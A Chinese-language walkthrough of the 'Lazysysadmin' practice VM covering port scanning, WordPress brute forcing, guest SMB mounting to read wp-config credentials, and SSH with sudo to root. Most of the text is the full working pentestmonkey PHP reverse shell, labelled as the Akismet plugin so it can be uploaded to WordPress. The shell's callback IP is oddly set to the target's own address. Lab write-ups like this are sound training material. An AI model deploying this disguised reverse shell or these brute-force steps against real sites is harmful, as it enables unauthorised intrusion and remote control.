Lazysysadmin靶机渗透

ip检测

打开靶机发现需要登录

image-20251005172455575

内网主机探测中,可以使用nmap来进行

image-20251005173954666

129是kali的地址 出现的192.168.23.132就是靶机ip地址

端口扫描

masscan扫端口(也可以用nmap:nmap -T4 -A -v 192.168.23.132 -p 0-10000 不过比较慢)

masscan 192.168.23.132 -p 1-10000 –rate=1000

image-20251005174918272

目标机开启了22、80、139、445、3306、6667这几个端口

对比可发现 masscan 扫描端口的速度比 nmap 快很多,但是想要知道端口所运行服务的具体信息,就要用到 nmap

信息收集

扫一下目录

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dirsearch -u http://192.168.23.132:80

image-20251005181213880

扫出来挺多东西的

先看一下robots.txt

image-20251005182352220

只有最后一个文件里面有东西

image-20251005182341935

点开看了下也没什么用

我们查看wordpress站点

image-20251005185805942

扫一下

image-20251005193026759

image-20251005193226091

发现登陆界面

我们已经确定这是wordpress站点

使用专门的工具wpscan进行一下检测

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wpscan --url http://192.168.23.132/wordpress/ -e u,p,t//我这里使用的命令

image-20251005193948954

出来的信息比较多

有一个用户枚举 发现了admin

直接来进行一个爆破

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wpscan --url http://192.168.23.132/wordpress/ --usernames admin --passwords /usr/share/wordlists/rockyou.txt

失败了

另一个phpmyadmin页面要登陆

继续扫

image-20251005193507047

image-20251005193109971

爆破失败

目前为止这两个部分没办法继续往下了

之前扫端口的时候发现的139和445用于Samba服务,一般攻击方向为爆破、未授权访问、远程代码执行

smb枚举探测

139和445是高危端口

enum4linux 是一款针对 Windows 和 Samba 系统 的信息枚举工具,主要用于在渗透测试或网络审计中收集目标主机的详细信息,为后续攻击提供依据。它通过发送特定的网络请求(主要基于 SMB/CIFS 协议),获取目标系统的各类敏感数据

enum4linux -S 192.168.23.132 先将靶机的共享目录文件输出

image-20251005195631191

有共享文件夹share

进行挂载

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mount -t cifs //192.168.23.132/share$ /mnt -o guest

image-20251005200252994

可以一个个都看一下进行信息收集 不过比较有用的也就配置文件这些

我们知道WordPress 的数据库连接信息(数据库名、用户名、密码、主机地址)都存储在 wp-config.php 配置文件中,使用 cat 命令直接查看

image-20251005200611507

image-20251005200632331

拿到账号密码

TogieMYSQL12345^^

image-20251005200818331

没什么用 这个admin是个没权限的

(这里没有查询权限 但是是有更新权限的)

另一个文件deet

image-20251005201023456

这里能看到密码12345

登录

image-20251005201200563

成功登录

ssh连接

进行ssh连接

image-20251005201404037

image-20251005201614237

sudo bash提权

image-20251005201652374

这里刚好togie有root权限,所以直接用sudo su切换到root权限,但是如果togie没有root权限,那么我们就需要通过其他方式来提权了。

反弹shell

登录网站的时候会发现有一个上传插件的地方 可以尝试反弹shell拿到权限

image-20251014111931757

我们从网上扒下来一个反弹shell的脚本

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/**
* @package Akismet
*/
/*
Plugin Name: Akismet Anti-Spam
Plugin URI: https://akismet.com/
Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from spam</strong>. It keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key.
Version: 3.3.3
Author: Automattic
Author URI: https://automattic.com/wordpress-plugins/
License: GPLv2 or later
Text Domain: akismet
*/
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.23.132'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();

if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}

if ($pid) {
exit(0); // Parent exits
}

// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}

$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}

// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}

// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}

// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}

// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}

// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}

?>

这个我已经修改过了

(ip地址和加上一个plugin in请求头)

进行zip压缩然后上传

同时进行nc监听端口

image-20251014112630801

一样可以拿到shell